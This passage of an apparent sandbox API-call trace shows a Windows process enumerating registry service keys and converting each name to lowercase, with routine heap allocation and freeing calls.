lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.661] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.661] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0211.661] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.662] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0211.662] RegCloseKey (hKey=0xc4) returned 0x0 [0211.662] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.662] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0211.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0211.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.663] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0211.664] RegCloseKey (hKey=0x154) returned 0x0 [0211.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d60, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0211.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0211.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0211.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", 